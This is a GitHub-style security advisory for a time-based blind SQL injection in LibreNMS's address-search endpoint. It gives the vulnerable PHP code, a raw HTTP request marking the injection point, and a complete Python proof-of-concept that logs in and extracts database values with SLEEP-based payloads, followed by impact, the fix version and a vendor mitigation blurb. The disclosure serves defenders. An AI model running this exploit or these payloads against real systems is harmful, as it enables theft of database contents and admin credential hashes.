GHSA-79q9-wc6p-cf92
HIGHLibreNMS has a Time-Based Blind SQL Injection in address-search.inc.php
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
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Description
Summary
A time-based blind SQL injection vulnerability exists in address-search.inc.php via the address parameter. When a crafted subnet prefix is supplied, the prefix value is concatenated directly into an SQL query without proper parameter binding, allowing an attacker to manipulate query logic and infer database information through time-based conditional responses.
Details
This vulnerability requires authentication and is exploitable by any authenticated user.
The vulnerable endpoint is at /ajax_table.php with the following request displaying the injection point.
POST /ajax_table.php HTTP/1.1
Host: 192.168.236.131
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.236.131
Connection: keep-alive
Referer: http://192.168.236.131/search
Cookie: laravel_session=[Authenticated user cookie]
current=1&rowCount=55&sort%5Bhostname%5D=asc&searchPhrase=&id=address-search&search_type=ipv4&device_id=1&interface=&address=127.0.0.1/aa<injected SQL here>
Within includes/html/table/address-search.inc.php, the user-controlled $prefix variable derived from the address parameter is concatenated directly into the SQL query without sanitization or parameter binding on lines 34 and 52.
// Lines 16-35, 51-53
$address = $vars['address'] ?? '';
$prefix = '';
$sort = trim((string) $sort);
if (str_contains($address, '/')) {
[$address, $prefix] = explode('/', $address, 2);
}
if ($search_type == 'ipv4') {
$sql = ' FROM `ipv4_addresses` AS A, `ports` AS I, `devices` AS D';
$sql .= ' WHERE I.port_id = A.port_id AND I.device_id = D.device_id ' . $where . ' ';
if (! empty($address)) {
$sql .= ' AND ipv4_address LIKE ?';
$param[] = "%$address%";
}
if (! empty($prefix)) {
$sql .= " AND ipv4_prefixlen='$prefix'";
}
......
if (! empty($prefix)) {
$sql .= " AND ipv6_prefixlen = '$prefix'";
}
PoC
The following Python script exploits the time-based blind SQL injection vulnerability to retrieve the value of SELECT CURRENT_USER() from the database:
#!/usr/bin/python3
import requests
import sys
import re
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
# Configured to be used with burpsuite on the default burpsuite port of 8080
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
# When None is returned it means that all values have been retrieved from the queried value in the target DB
def blind_binsearch_sqli(inj_str):
try:
a = range(32,126)
start = 0
end = len(a)
while start <= end:
mid = (start + end) // 2
target_equal = inj_str.replace("[CHAR]", str(a[mid]))
target_less = inj_str.replace("=[CHAR]", f"<{a[mid]}")
# Return ascii decimal value for storing to a local string buffer
if condition(target_equal):
return a[mid]
# Use lower half of the "a" array
elif condition(target_less):
end = mid - 1
# Use upper half of the "a" array
else:
start = mid + 1
return None
except IndexError:
return None
# Check injection result
def condition(payload):
exploit_data = {
"current": "1",
"rowCount": "50",
"sort[hostname]": "asc",
"searchPhrase": "",
"id": "address-search",
"search_type": "ipv4",
"device_id": "1",
"interface": "",
"address": f"127.0.0.1/aa{payload}"
}
# Payload must be slotted in somewhere in this code
payload_url = f"{url}/ajax_table.php"
r = s.post(payload_url, data=exploit_data)
elapsed_time_seconds = r.elapsed.total_seconds()
# If response time is within sleep function delay range of +1 or -1 second the query returned "true"
if (elapsed_time_seconds + 1) > (sleep_delay * 2) and (elapsed_time_seconds - 1) < (sleep_delay * 2):
return True
else:
return False
def get_length(inj):
length = 0
print(f"(+) Getting the length of \"{inj}\"")
while True:
# MySQL
#length_injection_string = f" AND LENGTH(({inj}))={str(length)}-- -"
length_injection_string = f"' AND (SELECT 1 FROM (SELECT IF(LENGTH(({inj}))={str(length)},SLEEP({sleep_delay}),0))x) AND '1'='1"
bool_value = condition(length_injection_string)
if bool_value == False:
length += 1
else:
return length
def injection(inject_qry):
extracted = ""
length = get_length(inject_qry)
print(f"Length of \"{inject_qry}\": {length}")
print(f"(+) Retrieving the value for \"{inject_qry}\"")
# +2 to length in order to automatically stop the injection once the None value is returned, meaning that the whole query value is extracted
for i in range(1, length + 2):
# MySQL
injection_string = f"' AND (SELECT 1 FROM (SELECT IF(ASCII(SUBSTRING(({inject_qry}),{i},1))=[CHAR],SLEEP({sleep_delay}),0))x) AND '1'='1"
retrieved_value = blind_binsearch_sqli(injection_string)
if retrieved_value:
extracted += chr(retrieved_value)
extracted_char = chr(retrieved_value)
print(extracted_char, flush=True, end="")
elif retrieved_value == None:
print("\n(+) done!\n")
return extracted
global url
global s
global sleep_delay
global username
global password
# Default sleep delay, due to injection query used the response time will be sleep_delay * 2
sleep_delay = 1.5
s = requests.Session()
# HTTPS
s.verify = False
# Toggle debug proxy
#s.proxies.update(proxies)
url = "http://192.168.236.131"
username = "tester2"
password = "Adminbazinga"
if len(sys.argv) > 1:
url = sys.argv[1]
if len(sys.argv) > 2:
username = sys.argv[2]
if len(sys.argv) > 3:
password = sys.argv[3]
if len(sys.argv) > 4:
sleep_delay = float(sys.argv[4])
r = s.get(url + "/login")
login_token = re.search(r"name=\"_token\"\s+value=\"([^\"]+)\"", r.text).group(1)
login_data = {
"_token": login_token,
"username": username,
"password": password,
"submit": ""
}
r = s.post(url + "/login", data=login_data)
# Example: python3 script.py http://127.0.0.1 username password 1.5
if __name__ == "__main__":
injection("SELECT CURRENT_USER()")
Tester user role: <img width="771" height="154" alt="image" src="https://github.com/user-attachments/assets/fe13754c-9a41-48cb-934d-575097675c13" />
Example usage of PoC script: <img width="924" height="104" alt="image" src="https://github.com/user-attachments/assets/6b1e19a9-4c73-4e44-8e16-851ff92d5960" />
Impact
- Any authenticated user can exploit this vulnerability to extract sensitive information from the back-end database using time‑based blind SQL injection techniques.
- This leads to unauthorised disclosure of database contents, including schema information and potentially sensitive application data.
- An attacker can retrieve privileged accounts (e.g. administrative usernames) and their associated password hashes, potentially leading to privilege escalation within LibreNMS by cracking the password hashes and obtaining plaintext admin user credentials.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | librenms/librenms | all versions | 26.2.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for librenms/librenms. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update librenms/librenms to 26.2.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-79q9-wc6p-cf92 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-79q9-wc6p-cf92 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-79q9-wc6p-cf92. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-79q9-wc6p-cf92 in your dependencies?
O3 detects GHSA-79q9-wc6p-cf92 across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.